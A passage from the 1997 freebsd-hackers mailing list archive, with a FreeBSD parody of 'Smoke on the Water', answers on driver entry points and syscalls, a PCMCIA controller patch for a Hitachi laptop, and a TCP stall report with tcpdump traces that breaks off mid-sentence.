Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Oct 7 14:59:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA26458 for hackers-outgoing; Tue, 7 Oct 1997 14:59:54 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from dcarmich.pr.mcs.net (dcarmich.pr.mcs.net [204.95.63.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA26453 for ; Tue, 7 Oct 1997 14:59:50 -0700 (PDT) (envelope-from dcarmich@dcarmich.pr.mcs.net) Received: (from dcarmich@localhost) by dcarmich.pr.mcs.net (8.8.5/8.8.5) id RAA00361 for freebsd-hackers@freebsd.org; Tue, 7 Oct 1997 17:03:04 -0500 (CDT) From: Douglas Carmichael Message-Id: <199710072203.RAA00361@dcarmich.pr.mcs.net> Subject: Here's the start of a FreeBSD rock 'n roll anthem To: freebsd-hackers@freebsd.org Date: Tue, 7 Oct 1997 17:03:03 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk What do you think? (Anyone have any original ideas?) Deep Purple Machine Head Smoke On The Water (FreeBSD version) We all came out to Walnut Creek On the Lake (?) shoreline To make CDs with a mobile We didn't have much time dgreenman and the others Were at the best place around But some stupid with a flare gun Burned the place to the ground Smoke on the water, fire in the sky They burned down the (?) house It died with an awful sound jkh was running in and out Pulling code out the ground When it all was over We had to find another place But systime was running out It seemed that we would lose the race Smoke on the water, fire in the sky We ended up at the CSRG Hotel It was empty cold and bare But with the (?) thing just outside Making our OS there With a few red lights and a few old beds We make a place to sweat No matter what we get out of this I know we'll never forget Smoke on the water, fire in the sky From owner-freebsd-hackers Tue Oct 7 15:23:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA27779 for hackers-outgoing; Tue, 7 Oct 1997 15:23:06 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id PAA27770 for ; Tue, 7 Oct 1997 15:23:01 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id AAA03019; Wed, 8 Oct 1997 00:22:59 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id AAA11590; Wed, 8 Oct 1997 00:04:04 +0200 (MET DST) Message-ID: <19971008000403.RT08354@uriah.heep.sax.de> Date: Wed, 8 Oct 1997 00:04:03 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: mdean@best.com (mdean) Subject: Re: Device Drivers References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from mdean on Oct 6, 1997 23:49:55 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As mdean wrote: > d_stop Stop tty output (i believe) > d_reset (Can't find any use of it.) > d_devtotty Convert a dev_t into a struct tty *. Useful for tty drivers only, obviously. > d_strategy (I've seen this one in another unix book, I just can't remeber > what it is actually used for) Something you should read a Unix driver book for. The central IO routine for `strategy-controlled' IO, like disk drivers. > and why does d_maj=-1 in the driver when I would think you need to set it > to the major of your device. Dynamic major # assignment. The ultimate goal once devfs is running completely, but currently probably not very useful. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Oct 7 15:23:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA27833 for hackers-outgoing; Tue, 7 Oct 1997 15:23:38 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id PAA27822 for ; Tue, 7 Oct 1997 15:23:33 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id AAA03020 for freebsd-hackers@FreeBSD.ORG; Wed, 8 Oct 1997 00:23:31 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id AAA11604; Wed, 8 Oct 1997 00:07:39 +0200 (MET DST) Message-ID: <19971008000738.NZ55957@uriah.heep.sax.de> Date: Wed, 8 Oct 1997 00:07:38 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: Driver Development References: <19971007185228.10677@lemis.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <19971007185228.10677@lemis.com>; from Greg Lehey on Oct 7, 1997 18:52:28 +0930 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Greg Lehey wrote: (simple make dependency question) > It *should* be. But then, it *should* be possible to do this all the > time, without a 'make clean'. It is. Cleaning the compile directory is almost an anachronism, except of a few -D switches you still see when compiling your kernel. j@uriah 155% uname -v FreeBSD 3.0-CURRENT #225: Sun Oct 5 22:24:57 MET DST 1997 \ ^^^^^ bin@uriah.heep.sax.de:/usr/src/sys/compile/URIAH (Hint: the cleanout of the compile directory has long since been removed from my source tree. Fortunately, CVS keeps track of locally modified files, so i'm not afraid this would ever enter my source for config(8) again at all. :) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Oct 7 15:48:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA29291 for hackers-outgoing; Tue, 7 Oct 1997 15:48:21 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id PAA29282 for ; Tue, 7 Oct 1997 15:48:13 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id AAA03264; Wed, 8 Oct 1997 00:48:11 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id AAA11854; Wed, 8 Oct 1997 00:43:12 +0200 (MET DST) Message-ID: <19971008004312.FC62676@uriah.heep.sax.de> Date: Wed, 8 Oct 1997 00:43:12 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: nordwick@graft.xcf.berkeley.edu (Jason Alan Nordwick) Subject: Re: where is write/read/... syscalls ? References: <199710072114.OAA01979@graft.xcf.berkeley.edu> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710072114.OAA01979@graft.xcf.berkeley.edu>; from Jason Alan Nordwick on Oct 7, 1997 14:14:58 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Jason Alan Nordwick wrote: > When I use the libc call write or read or any of the syscalls, where is > the code for them ? The libc stubs are being created by src/lib/libc/sys/Makefile.inc. > is that libkern ? is libkern all the kernel > entry points ? No, libkern is just the opposite: a collection of system library (``libc'' if you want it) functions that are being used inside the kernel. > then where is kernel code for the corresponding syscall ? Scattered throughout the kernel. See /sys/kern/syscalls.master, most of the function entry points are in /sys/kern/. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Oct 7 17:13:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA04177 for hackers-outgoing; Tue, 7 Oct 1997 17:13:13 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from zephyr.isi.edu (zephyr.isi.edu [128.9.160.160]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id RAA04167 for ; Tue, 7 Oct 1997 17:13:05 -0700 (PDT) (envelope-from faber@marlis.lunabase.org) Received: from vermouth.isi.edu by zephyr.isi.edu (5.65c/5.61+local-29) id ; Tue, 7 Oct 1997 17:12:58 -0700 Received: from marlis.lunabase.org (localhost [127.0.0.1]) by vermouth.isi.edu (8.8.5/8.8.5) with ESMTP id RAA06115; Tue, 7 Oct 1997 17:12:47 -0700 (PDT) Message-Id: <199710080012.RAA06115@vermouth.isi.edu> To: freebsd-hackers@FreeBsd.org Subject: patch for PCMCIA support on Hitachi Mx133 X-Url: http://www.isi.edu/~faber Cc: faber@ISI.EDU X-Tvf-Archive: yes Date: Tue, 07 Oct 1997 17:12:46 -0700 From: Ted Faber Sender: owner-freebsd-hackers@FreeBsd.org X-Loop: FreeBSD.org Precedence: bulk The following patch is allows the use of a Cirrus Logic PD6832 Cardbus PCMCIA controller chip in 16 bit legacy mode. It's relative to a PAO kernel based directly on 2.2.2-RELEASE (the PAO release is PAO-970616 which is available from http://www.jp.FreeBSD.org/PAO/). Although I occasionally patch things when I need the functionality, I don't mirror current or stable, which is why this patch is from these sources. The patches are small, so they should be easy to integrate with PCI support in pcic.c , if there is any forthcoming. The sources must be compiled with the PAO kernel option PCIC_NOCLRREGS enables. I realize that it might be impossible for this patch to get integrated in the main FreeBSD tree, but for folks with Hitcachis, it may be useful. I've sent a copy to Tatsumi Hosokawa as well so that he can add it to the next PAO distribution as well. I've checked the code on my Hitachi with a few cards, and it's worked fine, but that's the extent of my testing. Let the buyer beware. The patch is relative to /usr/src/sys on a 2.2.2-RELEASE kernel with the PAO-970616 patch applied. *** pccard/pcic.c.orig Mon Oct 6 14:04:10 1997 --- pccard/pcic.c Mon Oct 6 14:48:09 1997 *************** *** 107,112 **** --- 107,122 ---- #define PCI_DEVICE_ID_PCIC_CLPD6729 0x11001013ul #define PCI_DEVICE_ID_PCIC_O2MICRO 0x673a1217ul + /* PD6832 defines (should be in a separate file) --- tvf */ + #define PD6832_IO_BASE0 0x002c + #define PD6832_IO_LIMIT0 0x0030 + #define PD6832_IO_BASE1 0x0034 + #define PD6832_IO_LIMIT1 0x0038 + #define PD6832_BRIDGE_CONTROL 0x003c + #define PD6832_SOCKET 0x004c + #define PD6832_BCR_MGMT_IRQ_ENA 0x08000000 + #define PD6832_BCR_ISA_IRQ 0x00800000 + /* end of 6832 defines */ DATA_SET (pcidevice_set, pcic_pci_driver); *************** *** 138,153 **** int i,j; u_char *p; u_long *pl; switch (pcic_pci_id) { case PCI_DEVICE_ID_PCIC_TI1130_CARDBUS: - case PCI_DEVICE_ID_PCIC_CLPD6832_CARDBUS: pcic_pci_ioaddr = pci_conf_read(tag, CARDBUS_LEGACY_16BIT_IOADDR) & ~PCI_MAP_IO; printf("CardBus: Legacy PC-card 16bit I/O address [0x%x]\n", pcic_pci_ioaddr); break; default: pcic_pci_ioaddr = pci_conf_read(tag, PCI_MAP_REG_START) --- 148,187 ---- int i,j; u_char *p; u_long *pl; + unsigned long bcr; /* to set 6832 interrupts -- tvf*/ switch (pcic_pci_id) { case PCI_DEVICE_ID_PCIC_TI1130_CARDBUS: pcic_pci_ioaddr = pci_conf_read(tag, CARDBUS_LEGACY_16BIT_IOADDR) & ~PCI_MAP_IO; printf("CardBus: Legacy PC-card 16bit I/O address [0x%x]\n", pcic_pci_ioaddr); break; + case PCI_DEVICE_ID_PCIC_CLPD6832_CARDBUS: + /* Set up the 6832 at the compatibility address -- tvf */ + pcic_pci_ioaddr = 0x000003e0; + /* This is the first I/O window, which we'll use */ + + pci_conf_write(tag,PD6832_IO_BASE0, pcic_pci_ioaddr | 1); + pci_conf_write(tag,PD6832_IO_LIMIT0, (pcic_pci_ioaddr + 0x4) | 1); + /* This deactivates the second */ + + pci_conf_write(tag,PD6832_IO_BASE1, (pcic_pci_ioaddr +0x20) | 1); + pci_conf_write(tag,PD6832_IO_LIMIT1, (pcic_pci_ioaddr + 0x4) | 1 ); + + /* Map the chip into pci port space (pci_map_port properly + initializes bridges) */ + pci_map_port(tag,PD6832_IO_BASE0,&pcic_pci_ioaddr); + + /* put the 6832 into legacy mode */ + + pci_conf_write(tag,CARDBUS_LEGACY_16BIT_IOADDR, pcic_pci_ioaddr | 1); + printf("CardBus: Legacy PC-card 16bit I/O address [0x%x]\n", + pcic_pci_ioaddr); + break; + + default: pcic_pci_ioaddr = pci_conf_read(tag, PCI_MAP_REG_START) *************** *** 159,164 **** --- 193,226 ---- case PCI_DEVICE_ID_PCIC_CLPD6729: case PCI_DEVICE_ID_PCIC_O2MICRO: pci_conf_write(tag, PCI_COMMAND_STATUS_REG, 0x00ff00ff); + break; + case PCI_DEVICE_ID_PCIC_CLPD6832_CARDBUS: + + /* Configure for IO mapping ---tvf */ + pci_conf_write(tag, PCI_COMMAND_STATUS_REG, 0x000000045); + + /* Assign the socket to this register set (attach gets called + per slot */ + pci_conf_write(tag, PD6832_SOCKET,unit); + + /* Set up the card in/card out interrupts to come here */ + + bcr = pci_conf_read(tag,PD6832_BRIDGE_CONTROL); + bcr |= (PD6832_BCR_ISA_IRQ|PD6832_BCR_MGMT_IRQ_ENA); + pci_conf_write(tag,PD6832_BRIDGE_CONTROL,bcr); + if (!bootverbose) + break; + + /* useful for debugging */ + + printf ("PCI Config space:\n"); + for (j = 0; j < 0x98; j += 16) { + printf("%02x: ", j); + for (i = 0; i < 16; i += 4) { + printf(" %08x", pci_conf_read(tag, i+j)); + } + printf("\n"); + } break; /* CardBus Bridges */ default: *** pci/pcireg.h.orig Thu Apr 24 01:05:15 1997 --- pci/pcireg.h Mon Oct 6 14:54:00 1997 *************** *** 139,145 **** ** Mapping registers */ #define PCI_MAP_REG_START 0x10 ! #define PCI_MAP_REG_END 0x28 #define PCI_MAP_MEMORY 0x00000000 #define PCI_MAP_IO 0x00000001 --- 139,145 ---- ** Mapping registers */ #define PCI_MAP_REG_START 0x10 ! #define PCI_MAP_REG_END 0x3f #define PCI_MAP_MEMORY 0x00000000 #define PCI_MAP_IO 0x00000001 From owner-freebsd-hackers Tue Oct 7 18:17:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA06841 for hackers-outgoing; Tue, 7 Oct 1997 18:17:21 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA06833 for ; Tue, 7 Oct 1997 18:17:16 -0700 (PDT) (envelope-from dkelly@nospam.hiwaay.net) Received: from nospam.hiwaay.net (max19-204.HiWAAY.net [208.147.146.204]) by fly.HiWAAY.net (8.8.7/8.8.6) with ESMTP id TAA26458; Tue, 7 Oct 1997 19:55:48 -0500 (CDT) Received: from nospam.hiwaay.net (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id TAA05357; Tue, 7 Oct 1997 19:55:45 -0500 (CDT) Message-Id: <199710080055.TAA05357@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: Douglas Carmichael cc: freebsd-hackers@FreeBSD.ORG From: dkelly@hiwaay.net Subject: Re: Here's the start of a FreeBSD rock 'n roll anthem In-reply-to: Message from Douglas Carmichael of "Tue, 07 Oct 1997 17:03:03 CDT." <199710072203.RAA00361@dcarmich.pr.mcs.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 07 Oct 1997 19:55:43 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > What do you think? (Anyone have any original ideas?) > > Deep Purple > Machine Head [snip] > Smoke on the water, fire in the sky Very good! Reminds me of the jpeg of Chuck on a rock with a sunbeam breaking thru a cloudy sky that came from someone in the Japanese FreeBSD group. I don't know where to download that picutre anymore as the URL I used quickly disappeared. But the one I sometimes use for an X background was "daemon0-HQ-1024x768.jpg" Animate the picture above. Record you lyrics. Combine. Send to MTV. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-hackers Tue Oct 7 18:33:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA07768 for hackers-outgoing; Tue, 7 Oct 1997 18:33:19 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from afs.ntc.mita.keio.ac.jp (afs.ntc.mita.keio.ac.jp [131.113.212.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA07762 for ; Tue, 7 Oct 1997 18:33:15 -0700 (PDT) (envelope-from hosokawa@ntc.keio.ac.jp) Received: (from hosokawa@localhost) by afs.ntc.mita.keio.ac.jp (8.8.7/3.6Wbeta6-ntc_mailserver1.03) id KAA29907; Wed, 8 Oct 1997 10:31:41 +0900 (JST) Date: Wed, 8 Oct 1997 10:31:41 +0900 (JST) Message-Id: <199710080131.KAA29907@afs.ntc.mita.keio.ac.jp> To: faber@ISI.EDU Cc: freebsd-hackers@freebsd.org, hosokawa@ntc.keio.ac.jp Subject: Re: patch for PCMCIA support on Hitachi Mx133 In-Reply-To: Your message of "Tue, 07 Oct 1997 17:12:46 -0700". <199710080012.RAA06115@vermouth.isi.edu> From: hosokawa@ntc.keio.ac.jp (HOSOKAWA Tatsumi) X-Mailer: mnews [version 1.20] 1996-12/08(Sun) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <199710080012.RAA06115@vermouth.isi.edu> faber@ISI.EDU writes: >> The following patch is allows the use of a Cirrus Logic PD6832 Cardbus >> PCMCIA controller chip in 16 bit legacy mode. It's relative to a PAO >> kernel based directly on 2.2.2-RELEASE (the PAO release is PAO-970616 which >> is available from http://www.jp.FreeBSD.org/PAO/). Although I occasionally >> patch things when I need the functionality, I don't mirror current or >> stable, which is why this patch is from these sources. The patches are >> small, so they should be easy to integrate with PCI support in pcic.c , if >> there is any forthcoming. Okay, we'll test this patch. BTW, I have no 6832 machine, but I wrote a newer test support for 6832 based on the datasheet I got from Cirrus Logic. Please review this patch. ftp://jaz.jp.freebsd.org/pub/FreeBSD-jp/PAO/test/sys-pao-970923-test.patch.gz Thanks. -- HOSOKAWA, Tatsumi Network Technology Center Keio University hosokawa@ntc.keio.ac.jp From owner-freebsd-hackers Tue Oct 7 18:40:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA08230 for hackers-outgoing; Tue, 7 Oct 1997 18:40:07 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA08202 for ; Tue, 7 Oct 1997 18:40:01 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: from argus.tfs.net (node13.tfs.net [207.2.220.13]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id TAA02007; Tue, 7 Oct 1997 19:08:50 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.7/8.8.5) id UAA02264; Tue, 7 Oct 1997 20:09:59 -0500 (CDT) From: Jim Bryant Message-Id: <199710080109.UAA02264@argus.tfs.net> Subject: Re: Here's the start of a FreeBSD rock 'n roll anthem In-Reply-To: <199710072203.RAA00361@dcarmich.pr.mcs.net> from Douglas Carmichael at "Oct 7, 97 05:03:03 pm" To: dcarmich@mcs.com (Douglas Carmichael) Date: Tue, 7 Oct 1997 20:09:58 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > What do you think? (Anyone have any original ideas?) > > Deep Purple > Machine Head > > Smoke On The Water (FreeBSD version) take my advice... keep your day job... jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28pw voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Tue Oct 7 19:01:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA08986 for hackers-outgoing; Tue, 7 Oct 1997 19:01:30 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA08979 for ; Tue, 7 Oct 1997 19:01:28 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id SAA02794; Tue, 7 Oct 1997 18:55:25 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd002791; Wed Oct 8 01:55:20 1997 Message-ID: <343AE7C6.592990BB@whistle.com> Date: Tue, 07 Oct 1997 18:54:14 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: mdean CC: Peter Dufault , hackers@FreeBSD.ORG Subject: Re: A world of unexplored pain. References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk mdean wrote: [...] > were running at an interrupt frequency of 10000 Hz > (gee wiz ma I only want 1000hz)? So what did you see in the way of lost > tick statistics? [...] > > > Things have grown a lot since then. > > Grown to what? well for a start in FreeBSD the system provides a way of raising the hardware clockrate transparently on the fly to do this sort of thing the PCAUDIO device routinelyu raises the clockrate to 16000 Hz. From owner-freebsd-hackers Tue Oct 7 19:21:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA10318 for hackers-outgoing; Tue, 7 Oct 1997 19:21:50 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from gaia.coppe.ufrj.br (root@cisigw.coppe.ufrj.br [146.164.5.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA10303 for ; Tue, 7 Oct 1997 19:21:46 -0700 (PDT) (envelope-from jonny@coppe.ufrj.br) Received: (from jonny@localhost) by gaia.coppe.ufrj.br (8.8.7/8.8.7) id XAA00461 for hackers@freebsd.org; Tue, 7 Oct 1997 23:22:57 -0200 (EDT) From: Joao Carlos Mendes Luis Message-Id: <199710080122.XAA00461@gaia.coppe.ufrj.br> Subject: TCP problem To: hackers@freebsd.org Date: Tue, 7 Oct 1997 23:22:56 -0200 (EDT) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I have an intermitent TCP problem between a FreeBSD 2.2-STABLE and a 2.0.27 Linux. It's happening right now, let me show an example: 146.164.5.200 - FreeBSD 146.164.53.91 - Linux gaia::root [530] telnet 146.164.53.91 chargen Trying 146.164.53.91... Connected to gta.ufrj.br. Escape character is '^]'. !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefg !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefgh "#$%&'()*+,-./01^]quit telnet> quit Connection closed. In the above connection, telnet stops completely after some output. Here's the tcpdump output I've run in another window: gaia::root [544] tcpdump -pvn host 146.164.53.91 and port chargen tcpdump: listening on de0 22:49:35.574865 146.164.5.200.2038 > 146.164.53.91.19: S 1153321686:1153321686(0) win 65535 (DF) [tos 0x10] (ttl 64, id 38631) 22:49:35.576498 146.164.53.91.19 > 146.164.5.200.2038: S 2381730138:2381730138(0) ack 1153321687 win 31744 (ttl 63, id 13086) 22:49:35.576825 146.164.5.200.2038 > 146.164.53.91.19: . ack 1 win 164 (DF) [tos 0x10] (ttl 64, id 38632) 22:49:35.614489 146.164.53.91.19 > 146.164.5.200.2038: P 1:75(74) ack 1 win 31744 (DF) [tos 0x10] (ttl 63, id 13088) 22:49:35.804015 146.164.5.200.2038 > 146.164.53.91.19: . ack 75 win 90 (DF) [tos 0x10] (ttl 64, id 38638) 22:49:36.646712 146.164.53.91.19 > 146.164.5.200.2038: P 75:165(90) ack 1 win 31744 [tos 0x10] (ttl 63, id 13091) 22:49:36.804033 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38646) 22:49:38.496284 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 63, id 13096) 22:49:38.496584 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38660) 22:49:41.896328 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 63, id 13098) 22:49:41.896640 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38673) 22:49:48.696422 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 63, id 13105) 22:49:48.696692 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38729) 22:50:02.296514 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 63, id 13163) 22:50:02.296814 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38844) ^C 1385 packets received by filter 0 packets dropped by kernel And here, the output on the remote machine: recreio::root [281] tcpdump -pvn host 146.164.5.200 and port chargen tcpdump: listening on eth0 22:47:16.565018 146.164.5.200.2038 > 146.164.53.91.19: S 1153321686:1153321686(0) win 65535 (DF) [tos 0x10] (ttl 63, id 38631) 22:47:16.565018 146.164.53.91.19 > 146.164.5.200.2038: S 2381730138:2381730138(0) ack 1153321687 win 31744 (ttl 64, id 13086) 22:47:16.565018 146.164.5.200.2038 > 146.164.53.91.19: . ack 1 win 164 (DF) [tos 0x10] (ttl 63, id 38632) 22:47:16.595018 146.164.53.91.19 > 146.164.5.200.2038: P 1:75(74) ack 1 win 31744 (DF) [tos 0x10] (ttl 64, id 13088) 22:47:16.785018 146.164.5.200.2038 > 146.164.53.91.19: . ack 75 win 90 (DF) [tos 0x10] (ttl 63, id 38638) 22:47:17.635018 146.164.53.91.19 > 146.164.5.200.2038: P 75:165(90) ack 1 win 31744 [tos 0x10] (ttl 64, id 13091) 22:47:17.785018 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 63, id 38646) 22:47:19.485018 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 64, id 13096) 22:47:19.485018 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 63, id 38660) 22:47:22.885018 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 64, id 13098) 22:47:22.885018 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 63, id 38673) 22:47:29.685018 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 64, id 13105) 22:47:29.685018 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 63, id 38729) 22:47:43.285018 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 64, id 13163) 22:47:43.285018 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 63, id 38844) 15 packets received by filter 0 packets dropped by kernel As you can see, the connection is in a loop, trying to exchange data, but there's a problem somewhere. The very strange thing is that's intermitent. Most of the time it works perfectly. Also curious, the chargen always stops at the same char. I have no problem connecting from/to other machines to/from both of these. Rebooting the Linux machine does not solve the problem, but rebooting the FreeBSD one does solve, so I think it's a FreeBSD problem. Any suggestions ? This is a RELENG_2_2 distribution, from about one month and half ago. I'm just waiting for a weekend with some free time to 